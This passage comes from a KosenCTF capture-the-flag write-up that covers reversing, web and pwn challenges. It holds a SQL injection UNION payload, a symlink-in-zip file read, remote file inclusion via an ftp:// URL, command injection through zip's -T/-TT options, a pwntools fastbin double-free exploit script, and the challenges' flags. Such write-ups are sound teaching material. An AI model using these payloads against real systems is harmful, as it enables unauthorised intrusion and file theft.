<span class="k">return</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"RAX"</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"0x"</span><span class="p">)[</span><span class="mi">1</span><span class="p">][:</span><span class="mi">4</span><span class="p">]</span>
<span class="n">enc</span> <span class="o">=</span> <span class="s">'62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178'</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">'Bl00m_1n70_Y0u'</span>
<span class="n">charset</span> <span class="o">=</span> <span class="s">'_B'</span><span class="o">+</span><span class="n">string</span><span class="p">.</span><span class="n">printable</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">13</span><span class="p">,</span><span class="mi">14</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'gdb'</span><span class="p">,</span><span class="s">'favorites'</span><span class="p">])</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'start'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'b*main+188'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'$'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'$'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'$'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'c'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">flag</span><span class="o">+</span><span class="n">i</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'RBX'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">__</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">_</span><span class="p">):</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'$'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'c'</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'RBX'</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">parseReg</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="k">if</span> <span class="n">t</span><span class="o">==</span><span class="n">enc</span><span class="p">[</span><span class="n">_</span><span class="o">*</span><span class="mi">4</span><span class="p">:</span><span class="n">_</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="mi">4</span><span class="p">]:</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="n">i</span>
<span class="k">print</span> <span class="n">flag</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">break</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{Bl00m_1n70_Y0u}</p>
<h1 id="web">Web</h1>
<h2 id="uploader">uploader</h2>
<p>It have file upload and download functions.</p>
<p>And it support search function, but it is vulnerable to SQL Injection.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// search</span>
<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'search'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$rows</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-></span><span class="nf">query</span><span class="p">(</span><span class="s2">"SELECT name FROM files WHERE instr(name, '</span><span class="si">{</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'search'</span><span class="p">]</span><span class="si">}</span><span class="s2">') ORDER BY id DESC"</span><span class="p">);</span> <span class="c1">// <-- we can sql injection</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$rows</span> <span class="k">as</span> <span class="nv">$row</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$files</span> <span class="p">[]</span><span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Therefore we can get <code class="language-plaintext highlighter-rouge">secret_file</code>’s passcode.</p>
<p><strong>Query</strong> : ?search=’) union select passcode from files– -</p>
<p>get a passcode for secret_file, “the_longer_the_stronger_than_more_complicated”.</p>
<p>Next just input passcode “the_longer_the_stronger_than_more_complicated” for downloading secret_file.</p>
<p>Then we got a flag :)</p>
<p><strong>FLAG</strong> : KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}</p>
<h2 id="image-extractor">Image Extractor</h2>
<p>This chall is developed by singtra.</p>
<p>It support source code, but i think that it have not vulnerable code.</p>
<p>But, <code class="language-plaintext highlighter-rouge">zip</code> is possible to contain symbolic link file.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">get</span> <span class="s1">'/image/:name/:image'</span> <span class="k">do</span>
<span class="k">if</span> <span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span> <span class="o">!~</span> <span class="sr">/^[a-f0-9]{32}$/</span> <span class="o">||</span> <span class="n">params</span><span class="p">[</span><span class="ss">:image</span><span class="p">]</span> <span class="o">!~</span> <span class="sr">/^[A-Za-z0-9_]+\.[A-Za-z0-9_]+$/</span>
<span class="vi">@err</span> <span class="o">=</span> <span class="s2">"Not Found"</span>
<span class="n">erb</span> <span class="ss">:index</span>
<span class="k">else</span>
<span class="n">zipfile</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s2">"workdir"</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span> <span class="o">+</span> <span class="s2">".zip"</span><span class="p">)</span>
<span class="n">filedir</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s2">"workdir"</span><span class="p">,</span> <span class="no">SecureRandom</span><span class="p">.</span><span class="nf">hex</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>
<span class="n">file</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">filedir</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="ss">:image</span><span class="p">])</span>
<span class="nb">system</span><span class="p">(</span><span class="s2">"unzip -j </span><span class="si">#{</span><span class="n">zipfile</span><span class="si">}</span><span class="s2"> word/media/</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:image</span><span class="p">]</span><span class="si">}</span><span class="s2"> -d </span><span class="si">#{</span><span class="n">filedir</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="c1"># extract file</span>
<span class="k">if</span> <span class="no">File</span><span class="p">.</span><span class="nf">exists?</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
<span class="n">send_file</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="c1"># read file</span>
<span class="k">else</span>
<span class="vi">@err</span> <span class="o">=</span> <span class="s2">"Not Found"</span>
<span class="n">erb</span> <span class="ss">:index</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>So, i make arbitrary docx as symbolic link file <code class="language-plaintext highlighter-rouge">flag.png</code> linkning to <code class="language-plaintext highlighter-rouge">/flag</code>, then upload docx file.</p>
<p>Finally got a flag as access http://URL/flag.png.</p>
<p><strong>FLAG</strong> : KosenCTF{sym1ink_causes_arbitrary_fi13_read_0ft3n}</p>
<h2 id="neko-loader">Neko Loader</h2>
<p>This chall is support only download function and source code.</p>
<p>Here is code for download:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'ext'</span><span class="p">])</span> <span class="o">||</span> <span class="nb">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]))</span> <span class="p">{</span>
<span class="c1">// Missing parameter(s)</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"HTTP/1.1 404 Not Found"</span><span class="p">);</span>
<span class="k">print</span><span class="p">(</span><span class="s2">"404 Not Found"</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'ext'</span><span class="p">]);</span> <span class="c1">// Extension</span>
<span class="nv">$name</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]);</span> <span class="c1">// Filename</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$ext</span><span class="p">)</span> <span class="o">></span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Invalid extension</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"HTTP/1.1 500 Internal Server Error"</span><span class="p">);</span>
<span class="k">print</span><span class="p">(</span><span class="s2">"500 Internal Server Error"</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">switch</span><span class="p">(</span><span class="nv">$ext</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="s1">'jpg'</span><span class="o">:</span>
<span class="k">case</span> <span class="s1">'jpeg'</span><span class="o">:</span> <span class="nv">$mime</span> <span class="o">=</span> <span class="s1">'image/jpg'</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="s1">'png'</span><span class="o">:</span> <span class="nv">$mime</span> <span class="o">=</span> <span class="s1">'image/png'</span><span class="p">;</span> <span class="k">break</span><span class="p">;</span>
<span class="k">default</span><span class="o">:</span> <span class="nv">$mime</span> <span class="o">=</span> <span class="s1">'application/force-download'</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Download</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Expires: 0'</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Cache-Control: must-revalidate, post-check=0, pre-check=0'</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Cache-Control: private'</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: '</span><span class="mf">.</span><span class="nv">$mime</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Transfer-Encoding: binary'</span><span class="p">);</span>
<span class="k">include</span><span class="p">(</span><span class="nv">$ext</span><span class="mf">.</span><span class="s1">'/'</span><span class="mf">.</span><span class="nv">$name</span><span class="mf">.</span><span class="s1">'.'</span><span class="mf">.</span><span class="nv">$ext</span><span class="p">);</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>We can control to ext and name value.</p>
<p>And server allow RFI, it can confirm at <strong>phpinfo.php</strong>.</p>
<p>So i try to ftp schema for RFI.</p>
<p>ext is <code class="language-plaintext highlighter-rouge">ftp:</code> and name <code class="language-plaintext highlighter-rouge">/[SERVER]/a</code>.</p>
<p>Finally include’s argument is completed as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>include('ftp://[SERVER]/a.ftp:');
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{n3v3r_4ll0w_url_1nclud3}</p>
<h2 id="e-sequel-injection">E-Sequel-Injection</h2>
<p>Oh it is SQL Injection chall.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'source'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nb">highlight_file</span><span class="p">(</span><span class="k">__FILE__</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$pattern</span> <span class="o">=</span> <span class="s1">'/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|;|\/|\*|\|)/i'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">])</span> <span class="o">&&</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">],</span> <span class="nv">$matches</span><span class="p">))</span> <span class="p">{</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$matches</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">],</span> <span class="nv">$matches</span><span class="p">))</span> <span class="p">{</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$matches</span><span class="p">);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$pdo</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PDO</span><span class="p">(</span><span class="s1">'mysql:host=e_sequel_db;dbname=e_sequel;charset=utf8;'</span><span class="p">,</span> <span class="s1">'e_sequel'</span><span class="p">,</span> <span class="s1">'e_sequelpassword'</span><span class="p">);</span>
<span class="nv">$pdo</span><span class="o">-></span><span class="nf">setAttribute</span><span class="p">(</span><span class="no">PDO</span><span class="o">::</span><span class="no">ATTR_DEFAULT_FETCH_MODE</span><span class="p">,</span> <span class="no">PDO</span><span class="o">::</span><span class="no">FETCH_ASSOC</span><span class="p">);</span>
<span class="nv">$stmt</span> <span class="o">=</span> <span class="nv">$pdo</span><span class="o">-></span><span class="nf">prepare</span><span class="p">(</span><span class="s2">"SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'"</span><span class="p">);</span>
<span class="nv">$stmt</span><span class="o">-></span><span class="nf">execute</span><span class="p">();</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$stmt</span><span class="o">-></span><span class="nf">fetchAll</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">count</span><span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$result</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="s1">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'admin'</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="k">include</span><span class="p">(</span><span class="s1">'flag.php'</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s1">'Nice login, '</span> <span class="mf">.</span> <span class="nv">$result</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="s1">'username'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'!'</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">echo</span> <span class="s1">'Failed to Login'</span><span class="p">;</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We can use <code class="language-plaintext highlighter-rouge">quote</code>, So i try to bypass as follows:</p>
<p><strong>Query</strong> : username=admin’%26&password=’</p>
<p>Then, query return true :)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT username from users where username='admin'&' and password='''
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{Smash_the_holy_barrier_and_follow_me_in_the_covenant_of_blood_and_blood}</p>
<h2 id="image-compressor">Image Compressor</h2>
<p>In sourecode, we found some code to control <code class="language-plaintext highlighter-rouge">options</code> at system.</p>
<p>Look this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># man zip
...
-T
--test
Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with the -m option) no input files are removed.
-TT cmd
--unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:
zip archive file1 file2 -T -TT "./unzip -tqq"
In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix).
...
</code></pre></div></div>
<p>So, we can command injeciton using -T, -TT.</p>
<p><strong>e.g.</strong> zip ./test.zip -T -TT”ls -al /”</p>
<p><strong>FLAG</strong> : KosenCTF{4rb1tr4ry_c0d3_3x3cut10n_by_unz1p_c0mm4nd}</p>
<h1 id="pwnable">Pwnable</h1>
<h2 id="fastbin-tutorial">Fastbin Tutorial</h2>
<p>It’s simple fastbin tutorial problem.</p>
<p>So, i skip detail description for this.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Welcome</span> <span class="n">to</span> <span class="n">Double</span> <span class="n">Free</span> <span class="n">Tutorial</span><span class="o">!</span>
<span class="n">In</span> <span class="n">this</span> <span class="n">tutorial</span> <span class="n">you</span> <span class="n">will</span> <span class="n">understand</span> <span class="n">how</span> <span class="n">fastbin</span> <span class="n">works</span><span class="p">.</span>
<span class="n">Fastbin</span> <span class="n">has</span> <span class="n">various</span> <span class="n">security</span> <span class="n">checks</span> <span class="n">to</span> <span class="n">protect</span> <span class="n">the</span> <span class="n">binary</span>
<span class="n">from</span> <span class="n">attackers</span><span class="p">.</span> <span class="n">But</span> <span class="n">don</span><span class="err">'</span><span class="n">t</span> <span class="n">worry</span><span class="p">.</span> <span class="n">You</span> <span class="n">just</span> <span class="n">have</span> <span class="n">to</span> <span class="n">bypass</span>
<span class="n">the</span> <span class="kt">double</span> <span class="n">free</span> <span class="n">check</span> <span class="n">in</span> <span class="n">this</span> <span class="n">challenge</span><span class="p">.</span> <span class="n">No</span> <span class="n">more</span> <span class="n">size</span> <span class="n">checks</span><span class="o">!</span>
<span class="n">Your</span> <span class="n">goal</span> <span class="n">is</span> <span class="n">to</span> <span class="n">leak</span> <span class="n">the</span> <span class="n">flag</span> <span class="n">which</span> <span class="n">is</span> <span class="n">located</span> <span class="n">at</span> <span class="mh">0x55ece5c0e240</span><span class="p">.</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span><span class="p">);</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">fread</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
<span class="n">This</span> <span class="n">is</span> <span class="n">the</span> <span class="n">initial</span> <span class="n">state</span><span class="o">:</span>
<span class="o">=====</span> <span class="n">Your</span> <span class="n">List</span> <span class="o">=====</span>
<span class="n">A</span> <span class="o">=</span> <span class="p">(</span><span class="n">nil</span><span class="p">)</span>
<span class="n">B</span> <span class="o">=</span> <span class="p">(</span><span class="n">nil</span><span class="p">)</span>
<span class="n">C</span> <span class="o">=</span> <span class="p">(</span><span class="n">nil</span><span class="p">)</span>
<span class="o">=====================</span>
<span class="o">+----</span> <span class="n">fastbin</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">----+</span>
<span class="o">|</span> <span class="mh">0x0000000000000000</span> <span class="o">|</span>
<span class="o">+--------------------+</span>
<span class="o">||</span>
<span class="err">\</span><span class="o">/</span>
<span class="p">(</span><span class="n">end</span> <span class="n">of</span> <span class="n">the</span> <span class="n">linked</span> <span class="n">list</span><span class="p">)</span>
<span class="n">You</span> <span class="n">can</span> <span class="k">do</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="n">malloc</span> <span class="o">/</span> <span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="n">free</span> <span class="o">/</span> <span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="n">read</span> <span class="o">/</span> <span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="n">write</span>
</code></pre></div></div>
<ol>
<li>Do not delete malloc_ptr on free</li>
<li>A alloc -> A free -> A fd overwrite flag address -> allocation flag address</li>
<li>read -> get flag</li>
</ol>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'pwn.kosenctf.com'</span><span class="p">,</span><span class="mi">9001</span><span class="p">)</span>
<span class="n">l</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'/lib/x86_64-linux-gnu/libc-2.23.so'</span><span class="p">)</span>
<span class="n">pp</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">aa</span><span class="p">:</span> <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"%s : 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">aa</span><span class="p">,</span><span class="nb">eval</span><span class="p">(</span><span class="n">aa</span><span class="p">)))</span>
<span class="n">go</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">go2</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">w</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">w</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">z</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">))</span>
<span class="n">r</span><span class="p">(</span><span class="s">"Your goal is to leak the flag which is located at "</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">14</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"4"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">flag</span><span class="o">-</span><span class="mh">0x10</span><span class="p">))</span>
<span class="n">go</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="n">go2</span><span class="p">(</span><span class="s">"A"</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{y0ur_n3xt_g0al_is_t0_und3rst4nd_fastbin_corruption_attack_m4yb3}</p>
<h2 id="shopkeeper">Shopkeeper</h2>
<p>If you buy some item, then each item’s event is executed.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">use</span><span class="p">(</span><span class="n">item_t</span> <span class="o">*</span><span class="n">inventory</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
<span class="cm">/* Use the item */</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">inventory</span><span class="o">-></span><span class="n">name</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">dputs</span><span class="p">(</span><span class="s">"* Wanna use it now?"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[Y/N] > "</span><span class="p">);</span>
<span class="n">readline</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">buf</span> <span class="o">==</span> <span class="sc">'Y'</span><span class="p">)</span> <span class="p">{</span>
<span class="p">(</span><span class="o">*</span><span class="n">inventory</span><span class="o">-></span><span class="n">event</span><span class="p">)();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Here is item list:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span> <span class="n">Hello</span><span class="p">,</span> <span class="n">traveller</span><span class="p">.</span>
<span class="o">*</span> <span class="n">What</span> <span class="n">would</span> <span class="n">you</span> <span class="n">like</span> <span class="n">to</span> <span class="n">buy</span><span class="o">?</span>
<span class="err">$</span><span class="mi">25</span> <span class="o">-</span> <span class="n">Cinnamon</span> <span class="n">Bun</span>
<span class="err">$</span><span class="mi">15</span> <span class="o">-</span> <span class="n">Biscle</span>
<span class="err">$</span><span class="mi">50</span> <span class="o">-</span> <span class="n">Manly</span> <span class="n">Bandanna</span>
<span class="err">$</span><span class="mi">50</span> <span class="o">-</span> <span class="n">Tough</span> <span class="n">Glove</span>
<span class="err">$</span><span class="mi">9999</span> <span class="o">-</span> <span class="n">Hopes</span>
</code></pre></div></div>
<p>If you purchase <code class="language-plaintext highlighter-rouge">Hopes</code>, then you can get shell.</p>
<p>So, our goal is purchase Hopes :)</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">x</span><span class="o">/</span><span class="n">s</span> <span class="mh">0x55555575701c</span>
<span class="mh">0x55555575701c</span><span class="o">:</span> <span class="s">"Hopes"</span>
<span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">x</span><span class="o">/</span><span class="mi">15</span><span class="n">i</span> <span class="mh">0x0000555555554b16</span> <span class="o"><-</span> <span class="n">Hopes</span> <span class="n">event</span>
<span class="mh">0x555555554b16</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">>:</span> <span class="n">push</span> <span class="n">rbp</span>
<span class="mh">0x555555554b17</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">1</span><span class="o">>:</span> <span class="n">mov</span> <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
<span class="mh">0x555555554b1a</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">4</span><span class="o">>:</span> <span class="n">lea</span> <span class="n">rdi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x484</span><span class="p">]</span> <span class="err">#</span> <span class="mh">0x555555554fa5</span>
<span class="mh">0x555555554b21</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">11</span><span class="o">>:</span> <span class="n">call</span> <span class="mh">0x5555555549aa</span> <span class="o"><</span><span class="n">dputs</span><span class="o">></span>
<span class="mh">0x555555554b26</span> <span class="o"><</span><span class="n">item_YourGoal</span><span class="o">+</span><span class="mi">16</span><span class="o">>:</span> <span class="n">lea</span> <span class="n">rdi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x491</span><span class="p">]</span> <span class="err">#</span> <span class="mh">0x555555554fbe</span>
